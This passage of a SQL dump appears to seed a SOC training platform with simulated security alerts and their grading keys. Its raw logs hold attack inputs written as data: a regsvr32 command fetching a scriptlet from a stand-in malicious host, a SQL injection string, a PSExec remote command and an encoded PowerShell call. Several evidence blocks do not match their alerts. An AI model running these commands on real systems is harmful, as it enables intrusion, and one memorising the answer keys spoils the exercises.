'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:31:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:30:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:29:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:28:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(662, 'Malicious Email with Phishing URL Detected', 'critical', 'Proofpoint', 'An email containing a known phishing URL was received, potentially targeting user credentials.', 'Phishing', 'T1566.001', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"email_sender\":\"no-reply@securebank.com\",\"username\":\"asmith\",\"hostname\":\"MAIL-SERVER\",\"url\":\"http://securebank-login.com\"}', '2026-01-11 10:11:51', '2026-02-16 18:02:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://securebank-login.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Phishing URL attempting to steal banking credentials.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@securebank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Spoofed domain resembling legitimate bank.\"}}],\"expected_actions\":[\"block_url\",\"notify_user\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Phishing URL detected in email, posing a threat to user credentials.\"}', 'Advanced', 'SIEM', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Email with Phishing URL Detected\",\"date\":\"2026-02-01T20:32:22.309Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(663, 'Lateral Movement via PSExec Detected', 'high', 'CrowdStrike', 'Suspicious PSExec activity detected, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1569.002', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"10.0.1.20\",\"username\":\"svc_admin\",\"hostname\":\"SRV-APP01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.1.20 -u svc_admin -p ******** -c cmd.exe\"}', '2026-01-10 21:33:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.1.20 -u svc_admin -p ******** -c cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"PSExec usage detected, commonly used for lateral movement by attackers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec usage from internal to internal IPs suggests lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(664, 'SQL Injection Attempt on Public Web Application', 'high', 'IDS/IPS', 'A potential SQL injection attack was detected targeting the login page of a public web application.', 'Web Attack', 'T1505', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T17:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"192.168.1.30\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"url\":\"http://webapp.local/login\"}', '2026-01-10 00:59:01', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web-based attacks.\"}}],\"expected_actions\":[\"block_ip\",\"monitor_application\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"SQL injection attempt detected via suspicious payload on login page.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(665, 'Data Exfiltration Detected via Suspicious Network Connection', 'critical', 'Firewall', 'A large amount of data was transferred to an external IP, indicating potential data exfiltration.', 'Data Exfil', 'T1048', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T18:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.2.14\",\"dst_ip\":\"198.51.100.75\",\"username\":\"nmartin\",\"hostname\":\"FILE-SRV01\",\"data_volume\":\"1.5GB\"}', '2026-01-10 00:24:48', '2026-03-14 14:53:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for numerous data exfiltration incidents.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.14\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious data transfer.\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unusual data volume transferred to a known malicious IP suggests data exfiltration.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(666, 'False Positive: Legitimate Certutil Activity Misclassified as Malicious', 'medium', 'SIEM', 'Certutil was executed on a user machine, typically flagged for potential malware download, but verified as a legitimate use case.', 'Malware', 'T1218.010', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T19:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.18\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jane.smith\",\"hostname\":\"HR-WORKSTATION\",\"command_line\":\"certutil.exe -addstore MyCompanyCert\"}', '2026-01-10 06:39:03', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil.exe -addstore MyCompanyCert\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"This use of certutil is legitimate as part of company policy.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.3.18\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil activity verified as legitimate based on internal policy use case.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(667, 'Suspicious Regsvr32 Execution Detected', 'high', 'EDR', 'Regsvr32 was executed with a suspicious scriptlet URL, typical of a fileless malware attack.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T20:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.4.22\",\"dst_ip\":\"192.168.1.11\",\"username\":\"mroberts\",\"hostname\":\"DESKTOP-ROBERTS\",\"command_line\":\"regsvr32.exe /s /u /i:http://malicious.site/script.sct scrobj.dll\"}', '2026-01-10 11:54:15', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /u /i:http://malicious.site/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 with URL pointing to a known malicious site.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.4.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 execution with external scriptlet URL suggests fileless malware activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(668, 'False Positive: Legitimate Application Misidentified as Malware', 'medium', 'EDR', 'A legitimate application was flagged as suspicious due to anomalous behavior, but verified as a false positive.', 'Malware', 'T1204.002', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T21:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.5.25\",\"dst_ip\":\"192.168.1.12\",\"username\":\"kclark\",\"hostname\":\"FINANCE-PC\",\"command_line\":\"C:\\\\Program Files\\\\LegitApp\\\\update.exe\"}', '2026-01-10 14:40:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\LegitApp\\\\update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"The application is verified as legitimate and safe.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The flagged application was verified as legitimate and safe, confirming a false positive.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(669, 'Unauthorized Access Attempt on Database Server', 'high', 'SIEM', 'A potentially unauthorized access attempt was detected on a critical database server from an internal IP.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T22:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.6.33\",\"dst_ip\":\"192.168.1.13\",\"username\":\"dba_admin\",\"hostname\":\"DB-SERVER\",\"failed_attempts\":15}', '2026-01-10 10:37:44', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.6.33\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address attempting unauthorized access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"dba_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common target for unauthorized access attempts.\"}}],\"expected_actions\":[\"reset_credentials\",\"monitor_user_activity\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Multiple failed login attempts indicate potential unauthorized access.\"}', 'Advanced', 'SIEM', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(670, 'False Positive: Misinterpreted Network Activity as Data Exfiltration', 'medium', 'Firewall', 'Network activity flagged as potential data exfiltration was verified to be a legitimate backup process.', 'Data Exfil', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T23:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.7.44\",\"dst_ip\":\"192.168.1.14\",\"username\":\"backup.svc\",\"hostname\":\"BACKUP-SERVER\",\"data_volume\":\"2.0GB\"}', '2026-01-10 09:03:09', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.7.44\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address engaged in backup process.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup.svc\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Service account used for legitimate backup operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Network activity verified as legitimate backup process, confirming a false positive.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS', NULL, NULL, 